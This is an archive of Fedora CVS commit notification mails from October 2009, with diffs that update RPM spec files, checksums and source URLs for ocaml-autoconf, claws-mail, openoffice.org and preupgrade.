retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	22 May 2009 22:01:42 -0000	1.2
+++ .cvsignore	12 Oct 2009 18:46:53 -0000	1.3
@@ -1 +1 @@
-ocaml-autoconf-1.0.tar.gz
+ocaml-autoconf-1.1.tar.gz


Index: ocaml-autoconf.spec
===================================================================
RCS file: /cvs/pkgs/rpms/ocaml-autoconf/devel/ocaml-autoconf.spec,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- ocaml-autoconf.spec	25 Jul 2009 19:50:49 -0000	1.6
+++ ocaml-autoconf.spec	12 Oct 2009 18:46:53 -0000	1.7
@@ -1,6 +1,6 @@
 Name:           ocaml-autoconf
-Version:        1.0
-Release:        5%{?dist}
+Version:        1.1
+Release:        1%{?dist}
 Summary:        Autoconf macros for OCaml
 
 Group:          Development/Libraries
@@ -21,7 +21,7 @@ Requires:       automake
 
 
 %description
-Autoconf macros for OCaml.
+Autoconf macros for OCaml projects.
 
 
 %prep
@@ -53,6 +53,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Mon Oct 12 2009 Richard W.M. Jones <rjones at redhat.com> - 1.1-1
+- New upstream version 1.1.
+
 * Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.0-5
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/ocaml-autoconf/devel/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	22 May 2009 22:01:42 -0000	1.2
+++ sources	12 Oct 2009 18:46:53 -0000	1.3
@@ -1 +1 @@
-2eab5efad4364d2f0114f38e00af09ac  ocaml-autoconf-1.0.tar.gz
+059bb775f8379afae8941bec30e6bcf2  ocaml-autoconf-1.1.tar.gz



From rjones at fedoraproject.org  Mon Oct 12 18:49:16 2009
From: rjones at fedoraproject.org (Richard W.M. Jones)
Date: Mon, 12 Oct 2009 18:49:16 +0000 (UTC)
Subject: rpms/ocaml-autoconf/devel ocaml-autoconf.spec,1.7,1.8
Message-ID: <20091012184916.61B3011C00DB@cvs1.fedora.phx.redhat.com>

Author: rjones

Update of /cvs/pkgs/rpms/ocaml-autoconf/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13462

Modified Files:
	ocaml-autoconf.spec 
Log Message:
Fix source URL.


Index: ocaml-autoconf.spec
===================================================================
RCS file: /cvs/pkgs/rpms/ocaml-autoconf/devel/ocaml-autoconf.spec,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- ocaml-autoconf.spec	12 Oct 2009 18:46:53 -0000	1.7
+++ ocaml-autoconf.spec	12 Oct 2009 18:49:15 -0000	1.8
@@ -1,6 +1,6 @@
 Name:           ocaml-autoconf
 Version:        1.1
-Release:        1%{?dist}
+Release:        2%{?dist}
 Summary:        Autoconf macros for OCaml
 
 Group:          Development/Libraries
@@ -9,7 +9,7 @@ Group:          Development/Libraries
 License:        BSD
 
 URL:            http://forge.ocamlcore.org/projects/ocaml-autoconf/
-Source0:        https://forge.ocamlcore.org/frs/download.php/181/%{name}-%{version}.tar.gz
+Source0:        https://forge.ocamlcore.org/frs/download.php/282/%{name}-%{version}.tar.gz
 
 BuildArch:      noarch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
@@ -53,8 +53,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
-* Mon Oct 12 2009 Richard W.M. Jones <rjones at redhat.com> - 1.1-1
+* Mon Oct 12 2009 Richard W.M. Jones <rjones at redhat.com> - 1.1-2
 - New upstream version 1.1.
+- Fix source URL.
 
 * Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.0-5
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild



From awjb at fedoraproject.org  Mon Oct 12 18:51:34 2009
From: awjb at fedoraproject.org (Andreas Bierfert)
Date: Mon, 12 Oct 2009 18:51:34 +0000 (UTC)
Subject: rpms/claws-mail/F-10 .cvsignore, 1.25, 1.26 claws-mail.spec, 1.43, 
	1.44 sources, 1.25, 1.26
Message-ID: <20091012185134.49AB011C00DB@cvs1.fedora.phx.redhat.com>

Author: awjb

Update of /cvs/pkgs/rpms/claws-mail/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14085/F-10

Modified Files:
	.cvsignore claws-mail.spec sources 
Log Message:
- version upgrade



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/claws-mail/F-10/.cvsignore,v
retrieving revision 1.25
retrieving revision 1.26
diff -u -p -r1.25 -r1.26
--- .cvsignore	4 Jul 2009 16:22:21 -0000	1.25
+++ .cvsignore	12 Oct 2009 18:51:34 -0000	1.26
@@ -1 +1 @@
-claws-mail-3.7.2.tar.bz2
+claws-mail-3.7.3.tar.bz2


Index: claws-mail.spec
===================================================================
RCS file: /cvs/pkgs/rpms/claws-mail/F-10/claws-mail.spec,v
retrieving revision 1.43
retrieving revision 1.44
diff -u -p -r1.43 -r1.44
--- claws-mail.spec	4 Jul 2009 16:22:21 -0000	1.43
+++ claws-mail.spec	12 Oct 2009 18:51:34 -0000	1.44
@@ -1,11 +1,11 @@
 Name:           claws-mail
-Version:        3.7.2
+Version:        3.7.3
 Release:        1%{?dist}
 Summary:        The extended version of Sylpheed
 Group:          Applications/Internet
 License:        GPLv3+
 URL:            http://claws-mail.org
-Source0:        http://downloads.sourceforge.net/sylpheed-claws/claws-mail-3.7.2.tar.bz2
+Source0:        http://downloads.sourceforge.net/sylpheed-claws/claws-mail-3.7.3.tar.bz2
 Source1:        claws-mail.desktop
 
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root
@@ -223,6 +223,13 @@ touch -r NEWS ${RPM_BUILD_ROOT}%{_includ
 %{_libdir}/claws-mail/plugins/smime.so
 
 %changelog
+* Mon Oct 12 2009 Andreas Bierfert <andreas.bierfert[AT]lowlatency.de>
+- 3.7.3-1
+- version upgrade (including gtk 2.18 fixes #527065)
+
+* Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 3.7.2-2
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
 * Sat Jul 04 2009 Andreas Bierfert <andreas.bierfert[AT]lowlatency.de>
 - 3.7.2-1
 - version upgrade


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/claws-mail/F-10/sources,v
retrieving revision 1.25
retrieving revision 1.26
diff -u -p -r1.25 -r1.26
--- sources	4 Jul 2009 16:22:21 -0000	1.25
+++ sources	12 Oct 2009 18:51:34 -0000	1.26
@@ -1 +1 @@
-df27c2488df499d8c05646d3e101d095  claws-mail-3.7.2.tar.bz2
+b3af5ea5e1182aa53f971657db86e110  claws-mail-3.7.3.tar.bz2



From awjb at fedoraproject.org  Mon Oct 12 18:51:34 2009
From: awjb at fedoraproject.org (Andreas Bierfert)
Date: Mon, 12 Oct 2009 18:51:34 +0000 (UTC)
Subject: rpms/claws-mail/F-11 .cvsignore, 1.25, 1.26 claws-mail.spec, 1.44, 
	1.45 sources, 1.25, 1.26
Message-ID: <20091012185134.7EB0311C00DB@cvs1.fedora.phx.redhat.com>

Author: awjb

Update of /cvs/pkgs/rpms/claws-mail/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14085/F-11

Modified Files:
	.cvsignore claws-mail.spec sources 
Log Message:
- version upgrade



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/claws-mail/F-11/.cvsignore,v
retrieving revision 1.25
retrieving revision 1.26
diff -u -p -r1.25 -r1.26
--- .cvsignore	4 Jul 2009 16:22:22 -0000	1.25
+++ .cvsignore	12 Oct 2009 18:51:34 -0000	1.26
@@ -1 +1 @@
-claws-mail-3.7.2.tar.bz2
+claws-mail-3.7.3.tar.bz2


Index: claws-mail.spec
===================================================================
RCS file: /cvs/pkgs/rpms/claws-mail/F-11/claws-mail.spec,v
retrieving revision 1.44
retrieving revision 1.45
diff -u -p -r1.44 -r1.45
--- claws-mail.spec	4 Jul 2009 16:22:22 -0000	1.44
+++ claws-mail.spec	12 Oct 2009 18:51:34 -0000	1.45
@@ -1,11 +1,11 @@
 Name:           claws-mail
-Version:        3.7.2
+Version:        3.7.3
 Release:        1%{?dist}
 Summary:        The extended version of Sylpheed
 Group:          Applications/Internet
 License:        GPLv3+
 URL:            http://claws-mail.org
-Source0:        http://downloads.sourceforge.net/sylpheed-claws/claws-mail-3.7.2.tar.bz2
+Source0:        http://downloads.sourceforge.net/sylpheed-claws/claws-mail-3.7.3.tar.bz2
 Source1:        claws-mail.desktop
 
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root
@@ -223,6 +223,13 @@ touch -r NEWS ${RPM_BUILD_ROOT}%{_includ
 %{_libdir}/claws-mail/plugins/smime.so
 
 %changelog
+* Mon Oct 12 2009 Andreas Bierfert <andreas.bierfert[AT]lowlatency.de>
+- 3.7.3-1
+- version upgrade (including gtk 2.18 fixes #527065)
+
+* Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 3.7.2-2
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
 * Sat Jul 04 2009 Andreas Bierfert <andreas.bierfert[AT]lowlatency.de>
 - 3.7.2-1
 - version upgrade


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/claws-mail/F-11/sources,v
retrieving revision 1.25
retrieving revision 1.26
diff -u -p -r1.25 -r1.26
--- sources	4 Jul 2009 16:22:22 -0000	1.25
+++ sources	12 Oct 2009 18:51:34 -0000	1.26
@@ -1 +1 @@
-df27c2488df499d8c05646d3e101d095  claws-mail-3.7.2.tar.bz2
+b3af5ea5e1182aa53f971657db86e110  claws-mail-3.7.3.tar.bz2



From awjb at fedoraproject.org  Mon Oct 12 18:51:34 2009
From: awjb at fedoraproject.org (Andreas Bierfert)
Date: Mon, 12 Oct 2009 18:51:34 +0000 (UTC)
Subject: rpms/claws-mail/F-12 .cvsignore, 1.25, 1.26 claws-mail.spec, 1.45, 
	1.46 sources, 1.25, 1.26
Message-ID: <20091012185134.A9DB411C00DB@cvs1.fedora.phx.redhat.com>

Author: awjb

Update of /cvs/pkgs/rpms/claws-mail/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14085/F-12

Modified Files:
	.cvsignore claws-mail.spec sources 
Log Message:
- version upgrade



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/claws-mail/F-12/.cvsignore,v
retrieving revision 1.25
retrieving revision 1.26
diff -u -p -r1.25 -r1.26
--- .cvsignore	4 Jul 2009 16:22:22 -0000	1.25
+++ .cvsignore	12 Oct 2009 18:51:34 -0000	1.26
@@ -1 +1 @@
-claws-mail-3.7.2.tar.bz2
+claws-mail-3.7.3.tar.bz2


Index: claws-mail.spec
===================================================================
RCS file: /cvs/pkgs/rpms/claws-mail/F-12/claws-mail.spec,v
retrieving revision 1.45
retrieving revision 1.46
diff -u -p -r1.45 -r1.46
--- claws-mail.spec	24 Jul 2009 19:02:30 -0000	1.45
+++ claws-mail.spec	12 Oct 2009 18:51:34 -0000	1.46
@@ -1,11 +1,11 @@
 Name:           claws-mail
-Version:        3.7.2
-Release:        2%{?dist}
+Version:        3.7.3
+Release:        1%{?dist}
 Summary:        The extended version of Sylpheed
 Group:          Applications/Internet
 License:        GPLv3+
 URL:            http://claws-mail.org
-Source0:        http://downloads.sourceforge.net/sylpheed-claws/claws-mail-3.7.2.tar.bz2
+Source0:        http://downloads.sourceforge.net/sylpheed-claws/claws-mail-3.7.3.tar.bz2
 Source1:        claws-mail.desktop
 
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root
@@ -223,6 +223,10 @@ touch -r NEWS ${RPM_BUILD_ROOT}%{_includ
 %{_libdir}/claws-mail/plugins/smime.so
 
 %changelog
+* Mon Oct 12 2009 Andreas Bierfert <andreas.bierfert[AT]lowlatency.de>
+- 3.7.3-1
+- version upgrade (including gtk 2.18 fixes #527065)
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 3.7.2-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/claws-mail/F-12/sources,v
retrieving revision 1.25
retrieving revision 1.26
diff -u -p -r1.25 -r1.26
--- sources	4 Jul 2009 16:22:22 -0000	1.25
+++ sources	12 Oct 2009 18:51:34 -0000	1.26
@@ -1 +1 @@
-df27c2488df499d8c05646d3e101d095  claws-mail-3.7.2.tar.bz2
+b3af5ea5e1182aa53f971657db86e110  claws-mail-3.7.3.tar.bz2



From awjb at fedoraproject.org  Mon Oct 12 18:51:34 2009
From: awjb at fedoraproject.org (Andreas Bierfert)
Date: Mon, 12 Oct 2009 18:51:34 +0000 (UTC)
Subject: rpms/claws-mail/devel .cvsignore, 1.25, 1.26 claws-mail.spec, 1.45, 
	1.46 sources, 1.25, 1.26
Message-ID: <20091012185134.EC5BB11C00DB@cvs1.fedora.phx.redhat.com>

Author: awjb

Update of /cvs/pkgs/rpms/claws-mail/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14085/devel

Modified Files:
	.cvsignore claws-mail.spec sources 
Log Message:
- version upgrade



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/claws-mail/devel/.cvsignore,v
retrieving revision 1.25
retrieving revision 1.26
diff -u -p -r1.25 -r1.26
--- .cvsignore	4 Jul 2009 16:22:22 -0000	1.25
+++ .cvsignore	12 Oct 2009 18:51:34 -0000	1.26
@@ -1 +1 @@
-claws-mail-3.7.2.tar.bz2
+claws-mail-3.7.3.tar.bz2


Index: claws-mail.spec
===================================================================
RCS file: /cvs/pkgs/rpms/claws-mail/devel/claws-mail.spec,v
retrieving revision 1.45
retrieving revision 1.46
diff -u -p -r1.45 -r1.46
--- claws-mail.spec	24 Jul 2009 19:02:30 -0000	1.45
+++ claws-mail.spec	12 Oct 2009 18:51:34 -0000	1.46
@@ -1,11 +1,11 @@
 Name:           claws-mail
-Version:        3.7.2
-Release:        2%{?dist}
+Version:        3.7.3
+Release:        1%{?dist}
 Summary:        The extended version of Sylpheed
 Group:          Applications/Internet
 License:        GPLv3+
 URL:            http://claws-mail.org
-Source0:        http://downloads.sourceforge.net/sylpheed-claws/claws-mail-3.7.2.tar.bz2
+Source0:        http://downloads.sourceforge.net/sylpheed-claws/claws-mail-3.7.3.tar.bz2
 Source1:        claws-mail.desktop
 
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root
@@ -223,6 +223,10 @@ touch -r NEWS ${RPM_BUILD_ROOT}%{_includ
 %{_libdir}/claws-mail/plugins/smime.so
 
 %changelog
+* Mon Oct 12 2009 Andreas Bierfert <andreas.bierfert[AT]lowlatency.de>
+- 3.7.3-1
+- version upgrade (including gtk 2.18 fixes #527065)
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 3.7.2-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/claws-mail/devel/sources,v
retrieving revision 1.25
retrieving revision 1.26
diff -u -p -r1.25 -r1.26
--- sources	4 Jul 2009 16:22:22 -0000	1.25
+++ sources	12 Oct 2009 18:51:34 -0000	1.26
@@ -1 +1 @@
-df27c2488df499d8c05646d3e101d095  claws-mail-3.7.2.tar.bz2
+b3af5ea5e1182aa53f971657db86e110  claws-mail-3.7.3.tar.bz2



From caolanm at fedoraproject.org  Mon Oct 12 19:06:51 2009
From: caolanm at fedoraproject.org (Caolan McNamara)
Date: Mon, 12 Oct 2009 19:06:51 +0000 (UTC)
Subject: rpms/openoffice.org/devel openoffice.org.spec,1.2029,1.2030
Message-ID: <20091012190651.73AE611C00DB@cvs1.fedora.phx.redhat.com>

Author: caolanm

Update of /cvs/pkgs/rpms/openoffice.org/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19364

Modified Files:
	openoffice.org.spec 
Log Message:
regcomp isn't in default patch anymore, use explicit path


Index: openoffice.org.spec
===================================================================
RCS file: /cvs/pkgs/rpms/openoffice.org/devel/openoffice.org.spec,v
retrieving revision 1.2029
retrieving revision 1.2030
diff -u -p -r1.2029 -r1.2030
--- openoffice.org.spec	12 Oct 2009 13:19:32 -0000	1.2029
+++ openoffice.org.spec	12 Oct 2009 19:06:49 -0000	1.2030
@@ -1640,7 +1640,7 @@ autoconf
  --enable-minimizer --enable-presenter-console --enable-pdfimport \
  --enable-wiki-publisher --enable-vba --enable-report-builder \
  --with-system-jfreereport \
- --with-commons-logging-jar=/usr/share/java/commons-logging-1.0.4.jar \
+ --with-commons-logging-jar=/usr/share/java/commons-logging.jar \
  --with-vba-package-format="builtin" --with-system-libs \
  --with-system-headers --with-system-apache-commons \
  --with-system-mozilla --with-system-libtextcat --with-system-redland \
@@ -1693,11 +1693,6 @@ export MAXPROCESSLIMIT=65535
 #get core dumps
 ulimit -c unlimited
 
-mkdir -p solver/%{OFFICEUPD}/unxlng*/bin
-pushd solver/%{OFFICEUPD}/unxlng*/bin
-ln -s /usr/share/java/commons-logging-1.0.4.jar commons-logging-1.1.1.jar 
-popd
-
 #build OOo, on failure make a stab at debugging the crash if any, and
 #rebuild un-parallel
 cd instsetoo_native/util
@@ -1829,13 +1824,13 @@ chmod -x $RPM_BUILD_ROOT%{baseinstdir}/e
 
 # revoke ScriptProviders and make into extensions
 pushd $RPM_BUILD_ROOT/%{basisinstdir}/program
-regcomp -revoke -r services.rdb -br services.rdb -c "vnd.sun.star.expand:\$OOO_BASE_DIR/program/classes/ScriptProviderForBeanShell.jar"
+../ure-link/bin/regcomp -revoke -r services.rdb -br services.rdb -c "vnd.sun.star.expand:\$OOO_BASE_DIR/program/classes/ScriptProviderForBeanShell.jar"
 mkdir $RPM_BUILD_ROOT%{_datadir}/openoffice.org/extensions/ScriptProviderForBeanShell.zip
 mv classes/ScriptProviderForBeanShell.jar $RPM_BUILD_ROOT%{_datadir}/openoffice.org/extensions/ScriptProviderForBeanShell.zip
-regcomp -revoke -r services.rdb -br services.rdb -c "vnd.sun.star.expand:\$OOO_BASE_DIR/program/classes/ScriptProviderForJavaScript.jar"
+../ure-link/bin/regcomp -revoke -r services.rdb -br services.rdb -c "vnd.sun.star.expand:\$OOO_BASE_DIR/program/classes/ScriptProviderForJavaScript.jar"
 mkdir $RPM_BUILD_ROOT%{_datadir}/openoffice.org/extensions/ScriptProviderForJavaScript.zip
 mv classes/ScriptProviderForJavaScript.jar $RPM_BUILD_ROOT%{_datadir}/openoffice.org/extensions/ScriptProviderForJavaScript.zip
-regcomp -revoke -r services.rdb -br services.rdb -c vnd.openoffice.pymodule:pythonscript
+../ure-link/bin/regcomp -revoke -r services.rdb -br services.rdb -c vnd.openoffice.pymodule:pythonscript
 mkdir $RPM_BUILD_ROOT%{_datadir}/openoffice.org/extensions/ScriptProviderForPython.zip
 mv pythonscript.py* $RPM_BUILD_ROOT%{_datadir}/openoffice.org/extensions/ScriptProviderForPython.zip
 popd
@@ -1876,8 +1871,6 @@ pushd $RPM_BUILD_ROOT/%{sdkinstdir}
     rm -rf solenv/unx*
 #fix up checkdll
     sed -i -e "s#^checkdll=.*#checkdll=\"%{sdkinstdir}/bin/checkdll\"#g" solenv/bin/checkdll.sh
-#remove cruft
-#    find . -name CVS -exec rm -rf {} \;
 #fix permissions
     find examples -type f -exec chmod -x {} \;
 #make env



From wwoods at fedoraproject.org  Mon Oct 12 19:17:21 2009
From: wwoods at fedoraproject.org (Will Woods)
Date: Mon, 12 Oct 2009 19:17:21 +0000 (UTC)
Subject: rpms/preupgrade/F-11 .cvsignore, 1.9, 1.10 preupgrade.spec, 1.20,
	1.21 sources, 1.13,
	1.14 preupgrade-1.1.1-fix-progress-page-typo.patch, 1.1, NONE
Message-ID: <20091012191721.924F011C00DB@cvs1.fedora.phx.redhat.com>

Author: wwoods

Update of /cvs/pkgs/rpms/preupgrade/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21796

Modified Files:
	.cvsignore preupgrade.spec sources 
Removed Files:
	preupgrade-1.1.1-fix-progress-page-typo.patch 
Log Message:
1.1.2


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/preupgrade/F-11/.cvsignore,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- .cvsignore	13 May 2009 22:33:00 -0000	1.9
+++ .cvsignore	12 Oct 2009 19:17:21 -0000	1.10
@@ -1 +1 @@
-preupgrade-1.1.0.tar.bz2
+preupgrade-1.1.2.tar.bz2


Index: preupgrade.spec
===================================================================
RCS file: /cvs/pkgs/rpms/preupgrade/F-11/preupgrade.spec,v
retrieving revision 1.20
retrieving revision 1.21
diff -u -p -r1.20 -r1.21
--- preupgrade.spec	12 Oct 2009 15:00:25 -0000	1.20
+++ preupgrade.spec	12 Oct 2009 19:17:21 -0000	1.21
@@ -1,27 +1,26 @@
 %{!?python_sitelib: %define python_sitelib %(python -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}
 Summary: Prepares a system for an upgrade
 Name: preupgrade
-Version: 1.1.1
-Release: 3%{?dist}
+Version: 1.1.2
+Release: 1%{?dist}
 License: GPLv2+
 Group: System Environment/Base
 Source: https://fedorahosted.org/releases/p/r/preupgrade/%{name}-%{version}.tar.bz2
 Source1: http://mirrors.fedoraproject.org/releases.txt
-Patch1: preupgrade-1.1.1-fix-progress-page-typo.patch
 URL: https://fedorahosted.org/preupgrade/
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildArch: noarch
 Requires: python >= 2.1, rpm-python, rpm >= 0:4.1.1
 # preupgrade-gui requires pygtk2 and libglade
 # TODO: split out preupgrade-gtk subpackage that requires this
-Requires: pygtk2-libglade
+# NOTE gtk 2.16.6 changed button behavior for GtkAssistant (gnome bug 589745),
+# and we expect that behavior, so require gtk2 >= 2.16.6
+Requires: pygtk2-libglade, gtk2 >= 2.16.6
 # F10 anaconda provides its special depsolving magic as yum plugins
 Requires: anaconda-yum-plugins
 # F10 anaconda expects to be handed a valid yum repo
 Requires: createrepo
-# yum 3.2.18 is needed to enable the above plugins at runtime
-# yum 3.2.19 is needed for setup_locale(), which fixes some i18n tracebacks
-# 3.2.24 fixes some unicode reading issues
+# yum 3.2.24 fixes some unicode reading issues - see bug 527552
 Requires: yum-metadata-parser, yum >= 3.2.24
 Requires: usermode
 # blkid moved from e2fsprogs to util-linux-ng in 2.15.1
@@ -33,15 +32,7 @@ Requires: e2fsprogs
 BuildRequires: desktop-file-utils, python
 # preupgrade's use of long append="..." strings will break older yaboot
 # and thus render ppc systems unbootable - see bug #471321
-%if 0%{?fedora} == 8
-Conflicts: yaboot < 1.3.13-9
-%endif
-%if 0%{?fedora} == 9
-Conflicts: yaboot < 1.3.13-13
-%endif
-%if 0%{?fedora} >= 10
 Conflicts: yaboot < 1.3.14-8
-%endif
 
 %description
 preupgrade prepares your Fedora system for an upgrade to the next version
@@ -50,7 +41,6 @@ and then setting up your system to perfo
 
 %prep
 %setup -q
-%patch1 -p1
 
 %build
 # no op
@@ -83,8 +73,9 @@ rm -rf $RPM_BUILD_ROOT
 %{python_sitelib}/%{name}
 
 %changelog
-* Mon Oct 12 2009 Will Woods <wwoods at redhat.com> - 1.1.1-3
-- Typo fix for bug 526208
+* Mon Oct 12 2009 Will Woods <wwoods at redhat.com> - 1.1.2-1
+- Proper fix for bug 526208
+- Require gtk2 >= 2.16.6
 
 * Fri Oct  9 2009 Seth Vidal <skvidal at fedoraproject.org> - 1.1.1-2
 - require yum 3.2.24


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/preupgrade/F-11/sources,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- sources	9 Oct 2009 21:10:10 -0000	1.13
+++ sources	12 Oct 2009 19:17:21 -0000	1.14
@@ -1 +1 @@
-f96a2814603f78f623397a5548245f9c  preupgrade-1.1.1.tar.bz2
+f5fc1b7b6c8ef78360adc250e6204471  preupgrade-1.1.2.tar.bz2


--- preupgrade-1.1.1-fix-progress-page-typo.patch DELETED ---



From wwoods at fedoraproject.org  Mon Oct 12 19:20:04 2009
From: wwoods at fedoraproject.org (Will Woods)
Date: Mon, 12 Oct 2009 19:20:04 +0000 (UTC)
Subject: rpms/preupgrade/F-12 .cvsignore, 1.8, 1.9 preupgrade.spec, 1.20,
	1.21 sources, 1.12,
	1.13 preupgrade-1.1.1-fix-progress-page-typo.patch, 1.1, NONE
Message-ID: <20091012192004.4BCBA11C02C9@cvs1.fedora.phx.redhat.com>

Author: wwoods

Update of /cvs/pkgs/rpms/preupgrade/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22976

Modified Files:
	.cvsignore preupgrade.spec sources 
Removed Files:
	preupgrade-1.1.1-fix-progress-page-typo.patch 
Log Message:
1.1.2


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/preupgrade/F-12/.cvsignore,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- .cvsignore	13 May 2009 22:33:02 -0000	1.8
+++ .cvsignore	12 Oct 2009 19:20:02 -0000	1.9
@@ -1 +1 @@
-preupgrade-1.1.0.tar.bz2
+preupgrade-1.1.2.tar.bz2


Index: preupgrade.spec
===================================================================
RCS file: /cvs/pkgs/rpms/preupgrade/F-12/preupgrade.spec,v
retrieving revision 1.20
retrieving revision 1.21
diff -u -p -r1.20 -r1.21
--- preupgrade.spec	12 Oct 2009 15:00:32 -0000	1.20
+++ preupgrade.spec	12 Oct 2009 19:20:03 -0000	1.21
@@ -1,27 +1,26 @@
 %{!?python_sitelib: %define python_sitelib %(python -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}
 Summary: Prepares a system for an upgrade
 Name: preupgrade
-Version: 1.1.1
-Release: 3%{?dist}
+Version: 1.1.2
+Release: 1%{?dist}
 License: GPLv2+
 Group: System Environment/Base
 Source: https://fedorahosted.org/releases/p/r/preupgrade/%{name}-%{version}.tar.bz2
 Source1: http://mirrors.fedoraproject.org/releases.txt
-Patch1: preupgrade-1.1.1-fix-progress-page-typo.patch
 URL: https://fedorahosted.org/preupgrade/
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildArch: noarch
 Requires: python >= 2.1, rpm-python, rpm >= 0:4.1.1
 # preupgrade-gui requires pygtk2 and libglade
 # TODO: split out preupgrade-gtk subpackage that requires this
-Requires: pygtk2-libglade
+# NOTE gtk 2.16.6 changed button behavior for GtkAssistant (gnome bug 589745),
+# and we expect that behavior, so require gtk2 >= 2.16.6
+Requires: pygtk2-libglade, gtk2 >= 2.16.6
 # F10 anaconda provides its special depsolving magic as yum plugins
 Requires: anaconda-yum-plugins
 # F10 anaconda expects to be handed a valid yum repo
 Requires: createrepo
-# yum 3.2.18 is needed to enable the above plugins at runtime
-# yum 3.2.19 is needed for setup_locale(), which fixes some i18n tracebacks
-# 3.2.24 fixes some unicode reading issues
+# yum 3.2.24 fixes some unicode reading issues - see bug 527552
 Requires: yum-metadata-parser, yum >= 3.2.24
 Requires: usermode
 # blkid moved from e2fsprogs to util-linux-ng in 2.15.1
@@ -33,15 +32,7 @@ Requires: e2fsprogs
 BuildRequires: desktop-file-utils, python
 # preupgrade's use of long append="..." strings will break older yaboot
 # and thus render ppc systems unbootable - see bug #471321
-%if 0%{?fedora} == 8
-Conflicts: yaboot < 1.3.13-9
-%endif
-%if 0%{?fedora} == 9
-Conflicts: yaboot < 1.3.13-13
-%endif
-%if 0%{?fedora} >= 10
 Conflicts: yaboot < 1.3.14-8
-%endif
 
 %description
 preupgrade prepares your Fedora system for an upgrade to the next version
@@ -50,7 +41,6 @@ and then setting up your system to perfo
 
 %prep
 %setup -q
-%patch1 -p1
 
 %build
 # no op
@@ -83,8 +73,9 @@ rm -rf $RPM_BUILD_ROOT
 %{python_sitelib}/%{name}
 
 %changelog
-* Mon Oct 12 2009 Will Woods <wwoods at redhat.com> - 1.1.1-3
-- Typo fix for bug 526208
+* Mon Oct 12 2009 Will Woods <wwoods at redhat.com> - 1.1.2-1
+- Proper fix for bug 526208
+- Require gtk2 >= 2.16.6
 
 * Fri Oct  9 2009 Seth Vidal <skvidal at fedoraproject.org> - 1.1.1-2
 - require yum 3.2.24


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/preupgrade/F-12/sources,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- sources	9 Oct 2009 21:10:08 -0000	1.12
+++ sources	12 Oct 2009 19:20:03 -0000	1.13
@@ -1 +1 @@
-f96a2814603f78f623397a5548245f9c  preupgrade-1.1.1.tar.bz2
+f5fc1b7b6c8ef78360adc250e6204471  preupgrade-1.1.2.tar.bz2


--- preupgrade-1.1.1-fix-progress-page-typo.patch DELETED ---



From wwoods at fedoraproject.org  Mon Oct 12 19:20:19 2009
From: wwoods at fedoraproject.org (Will Woods)
Date: Mon, 12 Oct 2009 19:20:19 +0000 (UTC)
Subject: rpms/preupgrade/devel .cvsignore, 1.9, 1.10 preupgrade.spec, 1.20, 
	1.21 sources, 1.12,
	1.13 preupgrade-1.1.1-fix-progress-page-typo.patch, 1.1, NONE
Message-ID: <20091012192019.5768411C029E@cvs1.fedora.phx.redhat.com>

Author: wwoods

